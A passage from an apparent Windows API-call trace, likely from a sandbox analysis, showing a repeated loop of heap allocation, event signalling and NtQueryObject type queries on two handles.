ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.629] ResetEvent (hEvent=0x110) returned 1 [0072.629] SetEvent (hEvent=0x114) returned 1 [0072.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.629] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.629] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.629] ResetEvent (hEvent=0x110) returned 1 [0072.629] SetEvent (hEvent=0x114) returned 1 [0072.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.629] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.629] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.629] ResetEvent (hEvent=0x110) returned 1 [0072.629] SetEvent (hEvent=0x114) returned 1 [0072.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.629] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.630] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.630] ResetEvent (hEvent=0x110) returned 1 [0072.630] SetEvent (hEvent=0x114) returned 1 [0072.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.630] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.630] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.630] ResetEvent (hEvent=0x110) returned 1 [0072.630] SetEvent (hEvent=0x114) returned 1 [0072.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.630] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.630] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.630] ResetEvent (hEvent=0x110) returned 1 [0072.630] SetEvent (hEvent=0x114) returned 1 [0072.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.631] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.631] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.631] ResetEvent (hEvent=0x110) returned 1 [0072.631] SetEvent (hEvent=0x114) returned 1 [0072.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.631] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.631] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.631] ResetEvent (hEvent=0x110) returned 1 [0072.631] SetEvent (hEvent=0x114) returned 1 [0072.631] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.631] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.631] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.631] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.631] ResetEvent (hEvent=0x110) returned 1 [0072.631] SetEvent (hEvent=0x114) returned 1 [0072.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.632] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.632] ResetEvent (hEvent=0x110) returned 1 [0072.632] SetEvent (hEvent=0x114) returned 1 [0072.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.632] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.632] ResetEvent (hEvent=0x110) returned 1 [0072.632] SetEvent (hEvent=0x114) returned 1 [0072.632] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.632] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.632] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.633] ResetEvent (hEvent=0x110) returned 1 [0072.633] SetEvent (hEvent=0x114) returned 1 [0072.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.633] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.633] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.633] ResetEvent (hEvent=0x110) returned 1 [0072.633] SetEvent (hEvent=0x114) returned 1 [0072.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.633] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.633] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.633] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.633] ResetEvent (hEvent=0x110) returned 1 [0072.633] SetEvent (hEvent=0x114) returned 1 [0072.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.633] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.634] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.634] ResetEvent (hEvent=0x110) returned 1 [0072.634] SetEvent (hEvent=0x114) returned 1 [0072.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.634] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.634] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.634] ResetEvent (hEvent=0x110) returned 1 [0072.634] SetEvent (hEvent=0x114) returned 1 [0072.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.634] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.634] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.634] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.634] ResetEvent (hEvent=0x110) returned 1 [0072.634] SetEvent (hEvent=0x114) returned 1 [0072.634] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.635] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.635] ResetEvent (hEvent=0x110) returned 1 [0072.635] SetEvent (hEvent=0x114) returned 1 [0072.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.635] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.635] ResetEvent (hEvent=0x110) returned 1 [0072.635] SetEvent (hEvent=0x114) returned 1 [0072.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.635] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.635] ResetEvent (hEvent=0x110) returned 1 [0072.635] SetEvent (hEvent=0x114) returned 1 [0072.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.636] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.636] ResetEvent (hEvent=0x110) returned 1 [0072.636] SetEvent (hEvent=0x114) returned 1 [0072.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.636] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.636] ResetEvent (hEvent=0x110) returned 1 [0072.636] SetEvent (hEvent=0x114) returned 1 [0072.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.636] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.637] ResetEvent (hEvent=0x110) returned 1 [0072.637] SetEvent (hEvent=0x114) returned 1 [0072.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.637] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.637] ResetEvent (hEvent=0x110) returned 1 [0072.637] SetEvent (hEvent=0x114) returned 1 [0072.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.637] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.637] ResetEvent (hEvent=0x110) returned 1 [0072.637] SetEvent (hEvent=0x114) returned 1 [0072.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.638] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.638] ResetEvent (hEvent=0x110) returned 1 [0072.638] SetEvent (hEvent=0x114) returned 1 [0072.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.638] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.638] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.638] ResetEvent (hEvent=0x110) returned 1 [0072.638] SetEvent (hEvent=0x114) returned 1 [0072.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.638] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.638] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.638] ResetEvent (hEvent=0x110) returned 1 [0072.638] SetEvent (hEvent=0x114) returned 1 [0072.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.639] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.639] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.639] ResetEvent (hEvent=0x110) returned 1 [0072.639] SetEvent (hEvent=0x114) returned 1 [0072.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.639] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.639] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.639] ResetEvent (hEvent=0x110) returned 1 [0072.639] SetEvent (hEvent=0x114) returned 1 [0072.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.639] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.639] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.639] ResetEvent (hEvent=0x110) returned 1 [0072.640] SetEvent (hEvent=0x114) returned 1 [0072.640] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.640] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.640] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.640] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.640] ResetEvent (hEvent=0x110) returned 1 [0072.640] SetEvent (hEvent=0x114) returned 1 [0072.640] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.640] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.640] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.640] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.640] ResetEvent (hEvent=0x110) returned 1 [0072.640] SetEvent (hEvent=0x114) returned 1 [0072.640] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.640] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.641] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.641] ResetEvent (hEvent=0x110) returned 1 [0072.641] SetEvent (hEvent=0x114) returned 1 [0072.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.641] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.641] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.641] ResetEvent (hEvent=0x110) returned 1 [0072.641] SetEvent (hEvent=0x114) returned 1 [0072.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.641] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.641] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.641] ResetEvent (hEvent=0x110) returned 1 [0072.641] SetEvent (hEvent=0x114) returned 1 [0072.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.642] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.642] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.642] ResetEvent (hEvent=0x110) returned 1 [0072.642] SetEvent (hEvent=0x114) returned 1 [0072.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.642] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.642] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.642] ResetEvent (hEvent=0x110) returned 1 [0072.642] SetEvent (hEvent=0x114) returned 1 [0072.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.642] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.642] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.642] ResetEvent (hEvent=0x110) returned 1 [0072.642] SetEvent (hEvent=0x114) returned 1 [0072.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.643] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.643] ResetEvent (hEvent=0x110) returned 1 [0072.643] SetEvent (hEvent=0x114) returned 1 [0072.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.643] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.643] ResetEvent (hEvent=0x110) returned 1 [0072.643] SetEvent (hEvent=0x114) returned 1 [0072.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.643] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.644] ResetEvent (hEvent=0x110) returned 1 [0072.644] SetEvent (hEvent=0x114) returned 1 [0072.644] RtlAllocateHeap 